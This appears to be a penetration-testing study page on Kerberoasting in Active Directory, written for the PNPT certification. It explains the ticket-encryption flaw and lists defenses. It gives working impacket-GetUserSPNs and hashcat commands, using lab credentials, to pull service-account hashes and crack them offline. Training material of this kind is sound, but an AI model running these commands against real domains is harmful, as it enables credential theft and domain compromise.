> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/active-directory/post-compromise-attacks/kerberoasting.md).

# Kerberoasting

## Overview

This attack takes advantage of service accounts that use **Kerberos** authentication. 

First we request a **TGT** (Ticket Granting Ticket) from the **KDC** using the account we compromised. Next we request a **TGS** (Ticket Granting Service ticket) as well. The key flaw is that the TGS is encrypted with the **Services account** password hash.

Using the tool **GetUserSPNs** to request a TGS and obtain the **Service accounts** password hash.

## GetUserSPNs

```bash
sudo impacket-GetUserSPNs PNPT.local/greg:Password1 -dc-ip 192.168.1.129 -request
```

```bash
hashcat -m 13100 crackme.txt ~/rockyou.txt -O
```

## Mitigation

* Strong password policy
* Principle of least privilege
* Service accounts should **NOT** be Domain Administrators